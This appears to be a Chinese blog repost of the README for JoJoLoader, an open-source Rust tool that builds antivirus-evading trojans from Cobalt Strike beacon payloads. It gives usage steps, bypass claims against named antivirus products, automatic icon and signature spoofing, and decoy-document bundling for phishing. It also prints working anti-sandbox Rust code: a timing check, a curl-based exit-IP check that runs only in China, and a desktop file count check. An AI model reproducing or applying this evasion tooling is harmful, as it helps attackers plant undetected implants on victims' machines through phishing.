January 19, 2025

JoJoLoader-免杀工具(开源)-24年8月7日更新

乔乔装载机

github:https://github.com/Pizz33/JoJoLoader

JoJoLoader

前进红队成员一键生成免杀木马,使用rust实现 (by_hyyrent)

帮助红队成员生成逃避杀毒软件木马

更新说明

2024/08/07 优化免杀效果:360全家桶✔ 火绒✔ def✔ (病毒库最新)

图像

开发背景

由于近年使用go来开发loader越来越普遍,导致杀软对go编译程序静态查杀力度加大,尤其是某数字杀软

对之前的去免杀项目千机多次优化后,发现效果仍不太理想,决定重构转股铁锈的怀抱,于是就有了这个项目的诞生!

使 用 方 式

与之前开发的千机一样,同样是支持一键化生成,生成自动替换图标签名

生成stageless payload

图像

beacon_x64.bin(使用习惯4.7以上版本的CS,默认即是,其他版本手机改名)放置在当前目录下

图像

点击一键生成.bat,等待免杀木马生成

图像

输出免杀木马在output文件夹下,随机六重配置

其中sign标签文件为自动替换签名后的免杀木马,添加图标和签名最大化bypassQVM

图像

钓鱼场景-释放正常文档

合实战钓鱼场景,贴支持正常文件释放,捆文档存放在bundle文件夹下

默认打开损坏文档,根据需求自行修改代码实战

图像

如果不需要捆绑文件,把对应行注释即可

图像

计划主题

在静态目录下放置了四个常见图标,可修改icon.rc对应名称进行调用

图像

免殺效果展示

360和火绒

图像

360杀毒

装了杀毒之后的360性能变强,qvm有时很玄学,如若进行QVM情况尝试更换图标

图像

后卫

图像

细微

项目发布时现测试,测试结果为安全

图像

卡巴斯基 ESET

国外edr会扫描内存,需要对bin进行二开,单靠loader限制很大,以下测试是基于二开的bin

图像

图像

环境安装

https://www.rust-lang.org/zh-CN/tools/install

图像

下载安装相应的版本,重启运行,默认选择模式1进行安装,然后配置环境变量即可

图像

如若安装后编译失败运行以下命令

1
rustup default stable-x86_64-pc-windows-msvc

反沙箱

反沙箱不是越多越好,只保留比较好用的三个,兼容以上环境,并且避免避免上传沙箱后虚拟主机上线

流量检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pub fn flow_time() {
use std::time::{Duration, Instant};
use std::thread::sleep;

let start_time = Instant::now();

sleep(Duration::from_millis(5000));

let elapsed_time = start_time.elapsed();

if elapsed_time.as_millis() < 5000 {
std::process::exit(1);
}
}

该函数判断时间是否在沙箱内进行加速

检查出口 IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fn ip() {
let output = Command::new("cmd")
.args(&["/c", "curl -s https://myip.ipip.net/"])
.creation_flags(CREATE_NO_WINDOW)
.output()
.expect("Failed to execute command");

if !output.status.success() {
std::process::exit(1);
}

let body = str::from_utf8(&output.stdout).expect("Failed to parse response");

if body.contains("中国") {
} else {
std::process::exit(1);
}
}

该函数通过curl命令获取出口IP,如果不在中国则退出程序

检查桌面文件数量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fn check_desktop() {
let desktop_path = get_desktop_path().expect("无法获取桌面路径");

let entries = match fs::read_dir(&desktop_path) {
Ok(entries) => entries,
Err(_) => {
std::process::exit(1);
}
};

let file_count = entries.filter_map(|entry| entry.ok()).count();

if file_count < 10 {
std::process::exit(1);
} else {
}
}

fn get_desktop_path() -> Option<PathBuf> {
let home_dir = dirs::home_dir()?;
#[cfg(target_os = "windows")]
return Some(home_dir.join("Desktop"));
None
}

该函数获取桌面路径并检查文件数量是否小于10,如果小于10则退出程序

声明

参考

代码总结学习以下项目,提交当晚通宵没来及写,现补上,另外免杀性失效自行修改代码,楼主仅提供一个思路,祝玩得开心♥

https://github.com/joaoviictorti/RustRedOps

https://github.com/xiao-zhu-zhu/RustBypassMap

About this Post

This post is written by 杨CC, licensed under CC BY-NC 4.0.

#免杀